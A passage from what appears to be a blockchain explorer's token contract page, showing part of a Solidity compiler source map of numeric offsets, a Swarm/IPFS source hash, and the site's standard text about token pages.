;;;;;;;;;;;;;;;;;:::i;:::-;3765:44;;3840:4;3824:21;;:4;:21;;;;:46;;;;;3857:13;;;;;;;;;;;3849:21;;:4;:21;;;;3824:46;3820:162;;;3901:69;3966:3;3901:60;3920:16;;3912:5;:24;:48;;3947:13;;3912:48;;;3939:5;3912:48;3901:6;:10;;:60;;;;:::i;:::-;:64;;:69;;;;:::i;:::-;3887:83;;3820:162;4010:27;4030:6;4010:9;:15;4020:4;4010:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;3992:9;:15;4002:4;3992:15;;;;;;;;;;;;;;;:45;;;;4055:42;4085:11;4055:25;4073:6;4055:9;:13;4065:2;4055:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:42;;;;:::i;:::-;4039:9;:13;4049:2;4039:13;;;;;;;;;;;;;;;:58;;;;4128:2;4113:26;;4122:4;4113:26;;;4132:6;4113:26;;;;;;:::i;:::-;;;;;;;;3662:485;;3593:554;;;:::o;851:148::-;909:7;942:1;937;:6;;929:15;;;;;;955:9;971:1;967;:5;;;;:::i;:::-;955:17;;990:1;983:8;;;851:148;;;;:::o;1318:185::-;1376:7;1405:1;1400;:6;1396:23;;1416:1;1409:8;;;;1396:23;1429:9;1445:1;1441;:5;;;;:::i;:::-;1429:17;;1474:1;1469;1465;:5;;;;:::i;:::-;:10;1457:19;;;;;;1494:1;1487:8;;;1318:185;;;;;:::o;1163:147::-;1221:7;1253:1;1249;:5;1241:14;;;;;;1266:9;1282:1;1278;:5;;;;:::i;:::-;1266:17;;1301:1;1294:8;;;1163:147;;;;:::o;1007:148::-;1065:7;1085:9;1101:1;1097;:5;;;;:::i;:::-;1085:17;;1126:1;1121;:6;;1113:15;;;;;;1146:1;1139:8;;;1007:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:223::-;6320:34;6316:1;6308:6;6304:14;6297:58;6389:6;6384:2;6376:6;6372:15;6365:31;6180:223;:::o;6409:366::-;6551:3;6572:67;6636:2;6631:3;6572:67;:::i;:::-;6565:74;;6648:93;6737:3;6648:93;:::i;:::-;6766:2;6761:3;6757:12;6750:19;;6409:366;;;:::o;6781:419::-;6947:4;6985:2;6974:9;6970:18;6962:26;;7034:9;7028:4;7024:20;7020:1;7009:9;7005:17;6998:47;7062:131;7188:4;7062:131;:::i;:::-;7054:139;;6781:419;;;:::o;7206:221::-;7346:34;7342:1;7334:6;7330:14;7323:58;7415:4;7410:2;7402:6;7398:15;7391:29;7206:221;:::o;7433:366::-;7575:3;7596:67;7660:2;7655:3;7596:67;:::i;:::-;7589:74;;7672:93;7761:3;7672:93;:::i;:::-;7790:2;7785:3;7781:12;7774:19;;7433:366;;;:::o;7805:419::-;7971:4;8009:2;7998:9;7994:18;7986:26;;8058:9;8052:4;8048:20;8044:1;8033:9;8029:17;8022:47;8086:131;8212:4;8086:131;:::i;:::-;8078:139;;7805:419;;;:::o;8230:118::-;8317:24;8335:5;8317:24;:::i;:::-;8312:3;8305:37;8230:118;;:::o;8354:222::-;8447:4;8485:2;8474:9;8470:18;8462:26;;8498:71;8566:1;8555:9;8551:17;8542:6;8498:71;:::i;:::-;8354:222;;;;:::o;8582:143::-;8639:5;8670:6;8664:13;8655:22;;8686:33;8713:5;8686:33;:::i;:::-;8582:143;;;;:::o;8731:351::-;8801:6;8850:2;8838:9;8829:7;8825:23;8821:32;8818:119;;;8856:79;;:::i;:::-;8818:119;8976:1;9001:64;9057:7;9048:6;9037:9;9033:22;9001:64;:::i;:::-;8991:74;;8947:128;8731:351;;;;:::o;9088:180::-;9136:77;9133:1;9126:88;9233:4;9230:1;9223:15;9257:4;9254:1;9247:15;9274:194;9314:4;9334:20;9352:1;9334:20;:::i;:::-;9329:25;;9368:20;9386:1;9368:20;:::i;:::-;9363:25;;9412:1;9409;9405:9;9397:17;;9436:1;9430:4;9427:11;9424:37;;;9441:18;;:::i;:::-;9424:37;9274:194;;;;:::o;9474:410::-;9514:7;9537:20;9555:1;9537:20;:::i;:::-;9532:25;;9571:20;9589:1;9571:20;:::i;:::-;9566:25;;9626:1;9623;9619:9;9648:30;9666:11;9648:30;:::i;:::-;9637:41;;9827:1;9818:7;9814:15;9811:1;9808:22;9788:1;9781:9;9761:83;9738:139;;9857:18;;:::i;:::-;9738:139;9522:362;9474:410;;;;:::o;9890:180::-;9938:77;9935:1;9928:88;10035:4;10032:1;10025:15;10059:4;10056:1;10049:15;10076:185;10116:1;10133:20;10151:1;10133:20;:::i;:::-;10128:25;;10167:20;10185:1;10167:20;:::i;:::-;10162:25;;10206:1;10196:35;;10211:18;;:::i;:::-;10196:35;10253:1;10250;10246:9;10241:14;;10076:185;;;;:::o;10267:191::-;10307:3;10326:20;10344:1;10326:20;:::i;:::-;10321:25;;10360:20;10378:1;10360:20;:::i;:::-;10355:25;;10403:1;10400;10396:9;10389:16;;10424:3;10421:1;10418:10;10415:36;;;10431:18;;:::i;:::-;10415:36;10267:191;;;;:::o

Swarm Source

ipfs://bf5b4665ff505c6f7d223d9f94709eed922bd5bdb833a598c80c418705a8e1ef
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.